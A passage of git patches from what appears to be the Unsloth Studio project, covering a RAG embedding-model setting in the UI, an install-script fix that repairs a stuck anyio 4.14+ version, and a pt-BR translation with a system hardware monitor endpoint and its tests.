-                helperPrecache.disabledByEnv
-              }
-              onCheckedChange={(enabled) => void saveHelperPrecache(enabled)}
-            />
-            {helperPrecache?.disabledByEnv ? (
-              <span className="max-w-[260px] text-right text-xs text-muted-foreground">
-                {t("settings.general.helperLlm.disabledByEnv")}
-              </span>
-            ) : helperPrecacheError ? (
-              <span className="max-w-[260px] text-right text-xs text-destructive">
-                {helperPrecacheError}
-              </span>
-            ) : null}
-          </div>
-        </SettingsRow>
-      </SettingsSection>
-
-      <ModelAutoSwitchSection />
-
       <SettingsSection
         title={t("settings.general.previewSharing.sectionTitle")}
       >
@@ -568,6 +626,77 @@ export function GeneralTab() {
         </SettingsRow>
       </SettingsSection>
 
+      <SettingsSection title={t("settings.general.rag.sectionTitle")}>
+        <SettingsRow
+          label={t("settings.general.rag.embeddingModel")}
+          description={t("settings.general.rag.embeddingModelDescription", {
+            defaultModel: embeddingModel?.defaultEmbeddingModel ?? "",
+          })}
+        >
+          <div className="flex flex-col items-end gap-1">
+            <div className="flex items-center gap-2">
+              <EmbeddingModelCombobox
+                value={draftEmbeddingModel}
+                onChange={(next) => {
+                  setDraftEmbeddingModel(next);
+                  setEmbeddingModelNeedsForce(false);
+                  setEmbeddingModelError(null);
+                }}
+                accessToken={hfToken || undefined}
+                disabled={!embeddingModel}
+                placeholder={embeddingModel?.defaultEmbeddingModel ?? ""}
+                ariaLabel={t("settings.general.rag.embeddingModel")}
+                className="w-[220px]"
+              />
+              <Button
+                variant="outline"
+                size="sm"
+                disabled={
+                  !embeddingModel ||
+                  isSavingEmbeddingModel ||
+                  draftEmbeddingModel.trim() === embeddingModel.embeddingModel
+                }
+                onClick={() => void saveEmbeddingModel(false)}
+              >
+                {isSavingEmbeddingModel
+                  ? t("common.saving")
+                  : t("common.save")}
+              </Button>
+            </div>
+            {embeddingModelError ? (
+              <span className="max-w-[300px] text-right text-xs text-destructive">
+                {embeddingModelError}
+              </span>
+            ) : null}
+            <div className="flex items-center gap-2">
+              {embeddingModelNeedsForce ? (
+                <Button
+                  variant="outline"
+                  size="sm"
+                  disabled={isSavingEmbeddingModel}
+                  onClick={() => void saveEmbeddingModel(true)}
+                >
+                  {t("settings.general.rag.saveAnyway")}
+                </Button>
+              ) : null}
+              {embeddingModel?.isCustom ? (
+                <Button
+                  variant="ghost"
+                  size="sm"
+                  disabled={isSavingEmbeddingModel}
+                  onClick={() => void resetEmbeddingModel()}
+                >
+                  {t("settings.general.rag.resetAction")}
+                </Button>
+              ) : null}
+            </div>
+            <span className="max-w-[300px] text-right text-xs text-muted-foreground">
+              {t("settings.general.rag.reindexWarning")}
+            </span>
+          </div>
+        </SettingsRow>
+      </SettingsSection>
+
       <SettingsSection title={t("settings.general.uploads.sectionTitle")}>
         <SettingsRow
           label={t("settings.general.uploads.maxUploadSize")}
@@ -633,6 +762,36 @@ export function GeneralTab() {
         </SettingsSection>
       )}
 
+      <SettingsSection title={t("settings.general.helperLlm.sectionTitle")}>
+        <SettingsRow
+          label={t("settings.general.helperLlm.preloadOnStartup")}
+          description={t(
+            "settings.general.helperLlm.preloadOnStartupDescription",
+          )}
+        >
+          <div className="flex flex-col items-end gap-1">
+            <Switch
+              checked={helperPrecache?.enabled ?? false}
+              disabled={
+                !helperPrecache ||
+                isSavingHelperPrecache ||
+                helperPrecache.disabledByEnv
+              }
+              onCheckedChange={(enabled) => void saveHelperPrecache(enabled)}
+            />
+            {helperPrecache?.disabledByEnv ? (
+              <span className="max-w-[260px] text-right text-xs text-muted-foreground">
+                {t("settings.general.helperLlm.disabledByEnv")}
+              </span>
+            ) : helperPrecacheError ? (
+              <span className="max-w-[260px] text-right text-xs text-destructive">
+                {helperPrecacheError}
+              </span>
+            ) : null}
+          </div>
+        </SettingsRow>
+      </SettingsSection>
+
       <SettingsSection
         title={t("settings.general.resetPreferences.sectionTitle")}
       >
diff --git a/studio/frontend/src/i18n/locales/en.ts b/studio/frontend/src/i18n/locales/en.ts
index 27dda5193a..136e8523ba 100644
--- a/studio/frontend/src/i18n/locales/en.ts
+++ b/studio/frontend/src/i18n/locales/en.ts
@@ -193,6 +193,20 @@ export const en = {
         maxUploadSize: "Training dataset upload cap",
         maxUploadSizeDescription: "Default is {defaultSize} MB.",
       },
+      rag: {
+        sectionTitle: "Documents & RAG",
+        embeddingModel: "Embedding model",
+        embeddingModelDescription:
+          "Hugging Face model or local path used to index and search your documents. Default is {defaultModel}.",
+        reindexWarning:
+          "Only affects newly indexed documents. Re-upload existing ones after changing the model.",
+        emptyError: "Enter a Hugging Face model id or local path.",
+        loadError: "Failed to load the embedding model setting.",
+        saveError: "Failed to save the embedding model.",
+        saved: "Embedding model saved.",
+        saveAnyway: "Save anyway",
+        resetAction: "Reset to default",
+      },
       storage: {
         sectionTitle: "Storage",
         modelsFolder: "Models folder",

From 91f4ec7ba71469e24b4f412bab774e363ba996e3 Mon Sep 17 00:00:00 2001
From: Abdul Moiz <abdulmoiz3140@gmail.com>
Date: Thu, 2 Jul 2026 18:49:40 +0500
Subject: [PATCH 177/306] Studio: self-heal a pre-#6483-fix anyio>=4.14 stuck
 in existing installs (#6805)

* Studio: self-heal a pre-#6483-fix anyio>=4.14 stuck in existing installs

The <4.14 cap in constraints.txt/no-torch-runtime.txt only constrains new
anyio resolutions. An install made before that cap existed can already be
sitting on anyio 4.14+, and since it already satisfies mcp/fastmcp's
anyio>=4.5 floor, every later constrained install skips it as
already-satisfied -- so affected installs never recover and keep hitting
the cancel-scope RuntimeError on every request (#6797, a recurrence of
#6483). Force-reinstall anyio<4.14 whenever a stuck 4.14+ is detected.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: also repair anyio on the update fast path

setup.sh's _SKIP_PYTHON_DEPS and setup.ps1's $SkipPythonDeps skip
install_python_stack.py entirely once the installed package version already
matches PyPI latest, so an install stuck on anyio>=4.14 with an otherwise
up-to-date package never reaches the repair added in install_python_stack.py.
Probe anyio on that fast path too and fall through to the full dependency
pass when it's still >=4.14, mirroring the existing ROCm/CPU-torch override
right below it.

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
---
 studio/install_python_stack.py | 41 +++++++++++++++++++++++++++++++++-
 studio/setup.ps1               | 22 ++++++++++++++++++
 studio/setup.sh                | 17 ++++++++++++++
 3 files changed, 79 insertions(+), 1 deletion(-)

diff --git a/studio/install_python_stack.py b/studio/install_python_stack.py
index 9060b57542..37805e2a57 100644
--- a/studio/install_python_stack.py
+++ b/studio/install_python_stack.py
@@ -181,6 +181,41 @@ def _probe_installed_torch_version() -> str | None:
     return lines[-1] if lines else None
 
 
+# constraints.txt caps new anyio resolutions at <4.14 (#6483), but an install
+# from before the cap existed can already be stuck at 4.14+, which later
+# constrained installs won't touch since it already satisfies mcp/fastmcp.
+_ANYIO_BAD_FLOOR = (4, 14)
+
+
+def _installed_anyio_version() -> tuple[int, int] | None:
+    try:
+        from importlib.metadata import version as _pkg_version
+        raw = _pkg_version("anyio")
+    except Exception:
+        return None
+    parts = raw.split(".")
+    try:
+        major = int(parts[0])
+        minor = int(re.sub(r"[^0-9].*", "", parts[1])) if len(parts) > 1 else 0
+    except (IndexError, ValueError):
+        return None
+    return (major, minor)
+
+
+def _repair_bad_anyio() -> None:
+    installed = _installed_anyio_version()
+    if installed is None or installed < _ANYIO_BAD_FLOOR:
+        return
+    _safe_print(_dim(f"   anyio {installed[0]}.{installed[1]} found -- reinstalling anyio<4.14..."))
+    pip_install(
+        "Repairing anyio version",
+        "--no-cache-dir",
+        "--force-reinstall",
+        "anyio<4.14.0",
+        constrain = False,
+    )
+
+
 # AMD Windows ROCm wheels (repo.amd.com/rocm/whl/{arch_family}/).
 # Override with UNSLOTH_ROCM_WINDOWS_MIRROR for air-gapped/mirror installs.
 _ROCM_WINDOWS_INDEX_BASE = (
@@ -1970,7 +2005,7 @@ def install_python_stack() -> int:
     package_name = os.environ.get("STUDIO_PACKAGE_NAME", "unsloth")
     # --local overlays a local repo checkout after updating deps.
     local_repo = os.environ.get("STUDIO_LOCAL_REPO", "")
-    base_total = 10 if IS_WINDOWS else 11
+    base_total = 11 if IS_WINDOWS else 12  # +1 for the anyio repair check (step 8b)
     if IS_MACOS:
         base_total -= 1  # triton step is skipped on macOS
     if not IS_MACOS and not NO_TORCH:
@@ -2284,6 +2319,10 @@ def install_python_stack() -> int:
         req = REQ_ROOT / "studio.txt",
     )
 
+    # 8b. anyio repair (#6483)
+    _progress("anyio check")
+    _repair_bad_anyio()
+
     # 9. Data-designer dependencies
     _progress("data designer deps")
     pip_install(
diff --git a/studio/setup.ps1 b/studio/setup.ps1
index 38398eb5f5..ae4e8464ec 100644
--- a/studio/setup.ps1
+++ b/studio/setup.ps1
@@ -2645,6 +2645,28 @@ if ($env:SKIP_STUDIO_BASE -ne "1" -and $env:STUDIO_LOCAL_INSTALL -ne "1") {
     if ($InstalledVer -and $LatestVer -and ($InstalledVer -eq $LatestVer)) {
         step "python" "$_PkgName $InstalledVer is up to date"
         $SkipPythonDeps = $true
+        # A pre-#6483-fix install can be stuck on anyio>=4.14 even though
+        # $_PkgName itself is current; the fast path above would otherwise
+        # never reach install_python_stack's anyio repair (#6797).
+        $_anyioBad = $false
+        try {
+            & python -c "
+import re, sys
+from importlib.metadata import version, PackageNotFoundError
+try:
+    parts = version('anyio').split('.')
+    major = int(parts[0])
+    minor = int(re.sub(r'[^0-9].*', '', parts[1])) if len(parts) > 1 else 0
+except (PackageNotFoundError, ValueError, IndexError):
+    sys.exit(1)
+sys.exit(0 if (major, minor) >= (4, 14) else 1)
+" 2>$null
+            if ($LASTEXITCODE -eq 0) { $_anyioBad = $true }
+        } catch {}
+        if ($_anyioBad) {
+            substep "anyio >=4.14 found (#6483) -- forcing dependency pass to repair..." "Cyan"
+            $SkipPythonDeps = $false
+        }
         # ...but not if an AMD GPU is present and installed PyTorch is CPU-only
         # (host predates ROCm-wheel support, or GPU added later): the fast "up to
         # date" path would leave the user on CPU torch with Train/Export disabled.
diff --git a/studio/setup.sh b/studio/setup.sh
index 43ec9fe7b9..22a922355d 100755
--- a/studio/setup.sh
+++ b/studio/setup.sh
@@ -947,6 +947,23 @@ print(version(sys.argv[1]))
     if [ -n "$INSTALLED_VER" ] && [ -n "$LATEST_VER" ] && [ "$INSTALLED_VER" = "$LATEST_VER" ]; then
         step "python" "$_PKG_NAME $INSTALLED_VER is up to date"
         _SKIP_PYTHON_DEPS=true
+        # A pre-#6483-fix install can be stuck on anyio>=4.14 even though
+        # $_PKG_NAME itself is current; the fast path above would otherwise
+        # never reach install_python_stack's anyio repair (#6797).
+        if "$VENV_DIR/bin/python" -c "
+import re, sys
+from importlib.metadata import version, PackageNotFoundError
+try:
+    parts = version('anyio').split('.')
+    major = int(parts[0])
+    minor = int(re.sub(r'[^0-9].*', '', parts[1])) if len(parts) > 1 else 0
+except (PackageNotFoundError, ValueError, IndexError):
+    sys.exit(1)
+sys.exit(0 if (major, minor) >= (4, 14) else 1)
+" 2>/dev/null; then
+            substep "anyio >=4.14 found (#6483) -- forcing dependency pass to repair..."
+            _SKIP_PYTHON_DEPS=false
+        fi
     elif [ -n "$INSTALLED_VER" ] && [ -n "$LATEST_VER" ]; then
         substep "$_PKG_NAME $INSTALLED_VER -> $LATEST_VER available, updating..."
     elif [ -z "$LATEST_VER" ]; then

From 22cd26f75da5e43257b4d4b385a335c5bae0256e Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Gabriel=20Pereira=20G=C3=B3es?=
 <82218878+Dspofu@users.noreply.github.com>
Date: Thu, 2 Jul 2026 13:06:39 -0300
Subject: [PATCH 178/306] feat: Implementation of the Portuguese (Brazil)
 language and VRAM/RAM monitor (#6509)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

* feat: Implementation of the Portuguese (Brazil) language and VRAM/RAM monitor.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Update studio/frontend/src/hooks/use-gpu-utilization.ts

Co-authored-by: gemini-code-assist[bot] <176961590+gemini-code-assist[bot]@users.noreply.github.com>

* Update studio/backend/main.py

Co-authored-by: gemini-code-assist[bot] <176961590+gemini-code-assist[bot]@users.noreply.github.com>

* Update studio/backend/main.py

Co-authored-by: gemini-code-assist[bot] <176961590+gemini-code-assist[bot]@users.noreply.github.com>

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Update studio/backend/utils/hardware/hardware.py

Co-authored-by: gemini-code-assist[bot] <176961590+gemini-code-assist[bot]@users.noreply.github.com>

* Update studio/backend/utils/hardware/hardware.py

Co-authored-by: gemini-code-assist[bot] <176961590+gemini-code-assist[bot]@users.noreply.github.com>

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Update studio/frontend/src/features/settings/components/usage-examples.tsx

Co-authored-by: gemini-code-assist[bot] <176961590+gemini-code-assist[bot]@users.noreply.github.com>

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Update studio/backend/main.py

Co-authored-by: gemini-code-assist[bot] <176961590+gemini-code-assist[bot]@users.noreply.github.com>

* Update studio/backend/utils/hardware/hardware.py

Co-authored-by: gemini-code-assist[bot] <176961590+gemini-code-assist[bot]@users.noreply.github.com>

* Update studio/frontend/src/features/studio/sections/progress-section.tsx

Co-authored-by: gemini-code-assist[bot] <176961590+gemini-code-assist[bot]@users.noreply.github.com>

* fix: resolve automated review feedback on API shape

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Fix review issues for PR #6509: Cpu icon, VRAM percent, system polling

- model-inspector: use the exported CpuIcon (Cpu is not a Hugeicons export)
- app-sidebar: guard the VRAM percent on totalVram to avoid Infinity, and
  reset the system poll cache only after each request settles so a slow probe
  is reused instead of stacking overlapping requests
- use-gpu-info: populate CPU/RAM on hosts without a GPU
- progress-section: label GPUs by visible_ordinal instead of array index
- hub-page: base the RAM label on systemRamTotalGb
- usage-examples: emit JS sampling and tool options at the top level instead
  of nesting them under extra_body (the JS SDK does not unwrap extra_body)
- main: read torch and transformers versions from package metadata instead of
  importing the libraries on every system poll, and guard the VRAM math
  against null values
- hardware: translate a leftover comment to English

* Harden /api/system: guard psutil.boot_time for PR #6509

Simulating restricted containers and some VMs (where psutil.boot_time can raise)
showed the /api/system endpoint would 500 on the unguarded boot_time call, the
same failure class already handled for cpu_freq, disk_usage, and Process. Wrap
boot_time and return uptime_seconds as null when it is unavailable so the sidebar
monitor degrades gracefully instead of breaking. Widen the uptime_seconds type to
number | null to match.

* Studio: make the sidebar hardware monitor a toggle (default on) for PR #6509

Adds a "Show hardware monitor" switch under Settings > Appearance > Layout,
backed by a localStorage preference (default on), mirroring the existing
useSidebarPin pattern. When turned off, the sidebar hides the VRAM/RAM meters
and useSystemInfo stops the 3s /api/system poll entirely, so no nvidia-smi /
SMI probes run while the monitor is disabled. Adds the en and pt-BR strings.

* Studio: default the sidebar hardware monitor to off (opt-in) for PR #6509

* Studio pt-BR: fix three small translation defects for PR #6509

- learningRateDescription: "5e-5 for CPT" -> "5e-5 para CPT" (leftover English)
- exportScopeRecents: "Recents" -> "Recentes" (untranslated)
- relativeMonthsAgo/relativeYearsAgo: add the missing space ("há {count} meses"/
  "há {count} anos") so they no longer render as "há 3meses"

* Studio pt-BR: translate the last 10 fallback keys for PR #6509

Adds the settings.general.storage block (Armazenamento) and the
settings.chat.modelDisclaimer pair, so pt-BR now covers all en keys
(679/679) with no English fallbacks.

* Studio: hide sidebar VRAM row on CPU-only hosts for PR #6509

* Studio: tighten and trim code comments for PR #6509

* fix: UI issue in the stop button dialog box (fine-tuning)

* Studio pt-BR: translate 18 new keys from main merge (password dialog, GGUF export, dataset streaming) for PR #6509

* Rounding to GB

* Fix/adjust System resources tab for PR #6509

* Fix/adjust GPU monitor review items for PR #6509

* Fix/adjust remaining GPU monitor review items for PR #6509

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Fix/adjust MLX resource fallback for PR #6509

* floating window implementation

* resize for floating window

* Fix resource monitor review items

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Restore frontend optional dependency lock entries

* Make GPU selection tests hermetic

* Fix GPU monitor CI test failures

* Bound MLX GGUF reload smoke

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Fix MLX GGUF reload smoke exit

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: gemini-code-assist[bot] <176961590+gemini-code-assist[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
Co-authored-by: wasimysaid <wasimysdev@gmail.com>
---
 studio/backend/main.py                        | 131 ++-
 .../backend/tests/test_anthropic_messages.py  |   8 +-
 studio/backend/tests/test_gpu_selection.py    | 231 ++++-
 studio/backend/utils/hardware/hardware.py     | 272 +++--
 .../src/components/floating-monitor.tsx       | 160 +++
 .../features/hub/catalog/models-header.tsx    |   6 +-
 studio/frontend/src/features/hub/hub-page.tsx |  11 +-
 .../settings/components/usage-examples.tsx    | 149 ++-
 .../src/features/settings/settings-dialog.tsx | 208 ++--
 .../settings/stores/monitor-overlay-store.ts  |  24 +
 .../settings/stores/settings-dialog-store.ts  |   2 +
 .../features/settings/tabs/general-tab.tsx    |   1 +
 .../features/settings/tabs/resources-tab.tsx  | 477 +++++++++
 .../studio/sections/progress-section.tsx      | 128 ++-
 studio/frontend/src/hooks/index.ts            |   2 +
 studio/frontend/src/hooks/use-gpu-info.ts     |  47 +-
 .../frontend/src/hooks/use-gpu-utilization.ts |   6 +-
 studio/frontend/src/hooks/use-system.ts       | 130 +++
 studio/frontend/src/i18n/AGENTS.md            |   3 +-
 studio/frontend/src/i18n/check-parity.ts      |   6 +-
 studio/frontend/src/i18n/locales/en.ts        |  55 ++
 studio/frontend/src/i18n/locales/pt-br.ts     | 934 ++++++++++++++++++
 studio/frontend/src/i18n/messages.ts          |  13 +-
 tests/studio/install/test_rocm_support.py     |   6 +-
 tests/studio/run_real_mlx_smoke.py            |  66 +-
 25 files changed, 2691 insertions(+), 385 deletions(-)
 create mode 100644 studio/frontend/src/components/floating-monitor.tsx
 create mode 100644 studio/frontend/src/features/settings/stores/monitor-overlay-store.ts
 create mode 100644 studio/frontend/src/features/settings/tabs/resources-tab.tsx
 create mode 100644 studio/frontend/src/hooks/use-system.ts
 create mode 100644 studio/frontend/src/i18n/locales/pt-br.ts

diff --git a/studio/backend/main.py b/studio/backend/main.py
index 5402e5eb7b..0613a5ae53 100644
--- a/studio/backend/main.py
+++ b/studio/backend/main.py
@@ -12,6 +12,8 @@ from pathlib import Path as _Path
 import asyncio
 from dataclasses import asdict
 
+from typing import Any, Optional
+
 # Suppress C-level dependency warnings globally
 os.environ["PYTHONWARNINGS"] = "ignore"
 
@@ -36,6 +38,10 @@ if sys.platform == "win32":
                 pass
     del _win_stream
 
+_SYSTEM_GPU_CACHE_TTL_SECONDS = 10.0
+_system_gpu_cache_lock = threading.Lock()
+_system_gpu_cache: Optional[tuple[float, dict[str, Any]]] = None
+
 # ── Windows AMD ROCm DLL injection ──────────────────────────────────────────
 # Python 3.8+ ignores PATH for extension modules; register ROCm bin dirs with
 # os.add_dll_directory() so amdhip64.dll etc. are found before any torch import.
@@ -226,7 +232,6 @@ import shutil
 import warnings
 from contextlib import asynccontextmanager
 from importlib.metadata import PackageNotFoundError, version as package_version
-from typing import Optional
 from urllib.parse import urlparse
 
 
@@ -1078,8 +1083,57 @@ async def shutdown_server(request: Request, current_subject: str = Depends(get_c
     return {"status": "shutting_down"}
 
 
+def _get_cached_system_gpu_info(logger) -> dict[str, Any]:
+    """Return merged GPU visibility/utilization with bounded live-probe churn."""
+    import time
+    from utils.hardware import get_backend_visible_gpu_info, get_visible_gpu_utilization
+
+    global _system_gpu_cache
+    now = time.monotonic()
+    with _system_gpu_cache_lock:
+        if _system_gpu_cache is not None:
+            cached_at, cached_gpu_info = _system_gpu_cache
+            if now - cached_at < _SYSTEM_GPU_CACHE_TTL_SECONDS:
+                return cached_gpu_info
+
+        try:
+            visibility_info = get_backend_visible_gpu_info() or {"available": False, "devices": []}
+        except Exception as e:
+            logger.debug(f"Failed to get GPU visibility info: {e}")
+            visibility_info = {"available": False, "devices": []}
+
+        try:
+            utilization_info = get_visible_gpu_utilization() or {"devices": []}
+        except Exception as e:
+            logger.debug(f"Failed to get GPU utilization info: {e}")
+            utilization_info = {"devices": []}
+
+        util_devices = {d.get("index"): d for d in utilization_info.get("devices", [])}
+        enriched_devices = []
+
+        for dev in visibility_info.get("devices", []):
+            idx = dev.get("index")
+            util = util_devices.get(idx, {})
+
+            total_vram = util.get("vram_total_gb") or dev.get("memory_total_gb") or 0
+            used_vram = util.get("vram_used_gb") or 0
+
+            enriched_dev = dict(dev)
+            enriched_dev["vram_used_gb"] = used_vram
+            enriched_dev["vram_free_gb"] = round(total_vram - used_vram, 2) if total_vram else 0
+            enriched_dev["vram_utilization_pct"] = util.get("vram_utilization_pct")
+            enriched_devices.append(enriched_dev)
+
+        gpu_info = {
+            "available": visibility_info.get("available", False),
+            "devices": enriched_devices,
+        }
+        _system_gpu_cache = (time.monotonic(), gpu_info)
+        return gpu_info
+
+
 @app.get("/api/system")
-async def get_system_info(current_subject: str = Depends(get_current_subject)):
+def get_system_info(current_subject: str = Depends(get_current_subject)):
     """Get system information.
 
     Auth-gated: the response (platform, Python/GPU, memory, ML packages) can
@@ -1088,31 +1142,82 @@ async def get_system_info(current_subject: str = Depends(get_current_subject)):
     """
     import platform
     import psutil
+    import os
+    import time
+    import logging
     from utils.hardware import get_device
     from utils.hardware.hardware import _backend_label
 
-    visibility_info = get_backend_visible_gpu_info()
-    gpu_info = {
-        "available": visibility_info["available"],
-        "devices": visibility_info["devices"],
-    }
+    logger = logging.getLogger(__name__)
+
+    gpu_info = _get_cached_system_gpu_info(logger)
 
-    # CPU & Memory
     memory = psutil.virtual_memory()
 
+    try:
+        cpu_freq = psutil.cpu_freq()
+    except Exception as e:
+        logger.debug(f"Failed to get CPU frequency: {e}")
+        cpu_freq = None
+
+    try:
+        disk = psutil.disk_usage(os.path.abspath(os.sep))
+    except Exception as e:
+        logger.debug(f"Failed to get disk usage: {e}")
+        disk = None
+
+    try:
+        current_process = psutil.Process(os.getpid())
+        process_used_mb = round(current_process.memory_info().rss / 1024**2)
+    except Exception as e:
+        logger.debug(f"Failed to get current process memory: {e}")
+        process_used_mb = 0
+
+    try:
+        boot_time = psutil.boot_time()
+    except Exception as e:
+        logger.debug(f"Failed to get boot time: {e}")
+        boot_time = None
+
+    # Read versions from metadata so a 3s poll never imports heavy ML libs (or 500s on their import errors).
+    from importlib.metadata import PackageNotFoundError, version as pkg_version
+
+    ml_packages = {}
+    for pkg in ("torch", "transformers"):
+        try:
+            ml_packages[pkg] = pkg_version(pkg)
+        except PackageNotFoundError:
+            pass
+        except Exception as e:
+            logger.debug(f"Failed to read {pkg} version: {e}")
+
     return {
         "platform": platform.platform(),
         "python_version": platform.python_version(),
-        # _backend_label so /api/system reports "rocm" (not "cuda") on AMD,
-        # matching /api/hardware and /api/gpu-visibility.
         "device_backend": _backend_label(get_device()),
-        "cpu_count": psutil.cpu_count(),
+        "cpu_count": psutil.cpu_count(logical = True),
+        "uptime_seconds": max(0, round(time.time() - boot_time)) if boot_time else None,
+        "cpu": {
+            "logical_count": psutil.cpu_count(logical = True),
+            "physical_count": psutil.cpu_count(logical = False),
+            "usage_percent": psutil.cpu_percent(interval = None),
+            "frequency_mhz": round(cpu_freq.current, 2)
+            if cpu_freq and cpu_freq.current is not None
+            else None,
+        },
         "memory": {
-            "total_gb": round(memory.total / 1e9, 2),
-            "available_gb": round(memory.available / 1e9, 2),
+            "total_gb": round(memory.total / 1024**3, 2),
+            "available_gb": round(memory.available / 1024**3, 2),
             "percent_used": memory.percent,
+            "process_used_mb": process_used_mb,
+        },
+        "disk": {
+            "total_gb": round(disk.total / 1e9, 2) if disk else 0,
+            "free_gb": round(disk.free / 1e9, 2) if disk else 0,
+            "percent_used": disk.percent if disk else 0,
         },
         "gpu": gpu_info,
+        "ml_packages": ml_packages,
     }
 
 
diff --git a/studio/backend/tests/test_anthropic_messages.py b/studio/backend/tests/test_anthropic_messages.py
index 92a87ce045..a6c1fcda9c 100644
--- a/studio/backend/tests/test_anthropic_messages.py
+++ b/studio/backend/tests/test_anthropic_messages.py
@@ -128,13 +128,7 @@ class TestToolActionNudge:
         assert "call render_html once" in nudge
 
     def test_balanced_nudge_empty_without_known_tool_categories(self):
-        assert (
-            _build_tool_action_nudge(
-                tools = [],
-                model_name = "Llama-3.1-8B-Instruct",
-            )
-            == ""
-        )
+        assert _build_tool_action_nudge(tools = [], model_name = "Llama-3.1-8B-Instruct") == ""
 
 
 # =====================================================================
diff --git a/studio/backend/tests/test_gpu_selection.py b/studio/backend/tests/test_gpu_selection.py
index d96f88e4a6..69ad560788 100644
--- a/studio/backend/tests/test_gpu_selection.py
+++ b/studio/backend/tests/test_gpu_selection.py
@@ -5,9 +5,11 @@ import asyncio
 import importlib.util
 import os
 import re
+import sys
 import unittest
+from contextlib import nullcontext
 from pathlib import Path
-from types import SimpleNamespace
+from types import ModuleType, SimpleNamespace
 from unittest.mock import patch
 
 from fastapi import HTTPException
@@ -22,6 +24,7 @@ from utils.hardware import (
     estimate_required_model_memory_gb,
     get_backend_visible_gpu_info,
     get_device_map,
+    get_gpu_utilization,
     get_offloaded_device_map_entries,
     get_parent_visible_gpu_ids,
     get_visible_gpu_utilization,
@@ -33,6 +36,24 @@ import utils.hardware.hardware as _hw_module
 _BACKEND_ROOT = Path(__file__).resolve().parent.parent
 
 
+async def _inline_to_thread(func, /, *args, **kwargs):
+    return func(*args, **kwargs)
+
+
+def _fake_unsloth_attention_modules(resolver):
+    unsloth_module = ModuleType("unsloth")
+    models_module = ModuleType("unsloth.models")
+    utils_module = ModuleType("unsloth.models._utils")
+    utils_module.resolve_attention_implementation = resolver
+    models_module._utils = utils_module
+    unsloth_module.models = models_module
+    return {
+        "unsloth": unsloth_module,
+        "unsloth.models": models_module,
+        "unsloth.models._utils": utils_module,
+    }
+
+
 def _load_route_module(name: str, relative_path: str):
     spec = importlib.util.spec_from_file_location(name, _BACKEND_ROOT / relative_path)
     module = importlib.util.module_from_spec(spec)
@@ -122,6 +143,139 @@ class TestResolveRequestedGpuIds(_GpuCacheResetMixin, unittest.TestCase):
 
 
 class TestVisibleGpuUtilization(_GpuCacheResetMixin, unittest.TestCase):
+    def test_gpu_utilization_preserves_primary_shape_with_devices(self):
+        devices = [
+            {
+                "index": 5,
+                "visible_ordinal": 0,
+                "gpu_utilization_pct": 11.0,
+                "temperature_c": 40.0,
+                "vram_used_gb": 4.0,
+                "vram_total_gb": 24.0,
+                "vram_utilization_pct": 16.7,
+                "power_draw_w": 80.0,
+                "power_limit_w": 300.0,
+                "power_utilization_pct": 26.7,
+            },
+            {
+                "index": 3,
+                "visible_ordinal": 1,
+                "gpu_utilization_pct": 22.0,
+                "temperature_c": 50.0,
+                "vram_used_gb": 8.0,
+                "vram_total_gb": 24.0,
+                "vram_utilization_pct": 33.3,
+                "power_draw_w": 120.0,
+                "power_limit_w": 300.0,
+                "power_utilization_pct": 40.0,
+            },
+        ]
+
+        with (
+            patch("utils.hardware.hardware.get_device", return_value = DeviceType.CUDA),
+            patch.object(_hw_module, "IS_ROCM", False),
+            patch(
+                "utils.hardware.hardware._get_parent_visible_gpu_spec",
+                return_value = {"raw": "5,3", "numeric_ids": [5, 3]},
+            ),
+            patch(
+                "utils.hardware.hardware._smi_query",
+                return_value = {
+                    "available": True,
+                    "devices": devices,
+                    "backend_cuda_visible_devices": "5,3",
+                    "parent_visible_gpu_ids": [5, 3],
+                    "index_kind": "physical",
+                },
+            ),
+        ):
+            result = get_gpu_utilization()
+
+        self.assertIsInstance(result, dict)
+        self.assertTrue(result["available"])
+        self.assertEqual(result["backend"], "cuda")
+        self.assertEqual(result["index"], 5)
+        self.assertEqual(result["visible_ordinal"], 0)
+        self.assertEqual(result["vram_total_gb"], 24.0)
+        self.assertEqual(result["parent_visible_gpu_ids"], [5, 3])
+        self.assertEqual([device["index"] for device in result["devices"]], [5, 3])
+
+    def test_gpu_utilization_cpu_returns_legacy_unavailable_object(self):
+        with patch("utils.hardware.hardware.get_device", return_value = DeviceType.CPU):
+            result = get_gpu_utilization()
+
+        self.assertEqual(result, {"available": False, "backend": "cpu", "devices": []})
+
+    def test_gpu_utilization_mlx_stays_available_without_agx_stats(self):
+        fake_psutil = ModuleType("psutil")
+        fake_psutil.virtual_memory = lambda: SimpleNamespace(total = 64 * 1024**3)
+
+        with (
+            patch.dict(sys.modules, {"psutil": fake_psutil}),
+            patch("utils.hardware.hardware.get_device", return_value = DeviceType.MLX),
+            patch("utils.hardware.hardware._read_apple_gpu_stats", return_value = {}),
+            patch(
+                "core.training.get_training_backend",
+                return_value = SimpleNamespace(_progress = None),
+            ),
+            patch("utils.hardware.apple.read_gpu_temperature_c", return_value = None),
+            patch("utils.hardware.apple.read_gpu_power_w", return_value = None),
+        ):
+            result = get_gpu_utilization()
+
+        self.assertTrue(result["available"])
+        self.assertEqual(result["backend"], "mlx")
+        self.assertIsNone(result["gpu_utilization_pct"])
+        self.assertEqual(result["vram_used_gb"], 0)
+        self.assertEqual(result["vram_total_gb"], 64.0)
+        self.assertEqual(len(result["devices"]), 1)
+
+    def test_gpu_utilization_xpu_uses_visible_devices(self):
+        with (
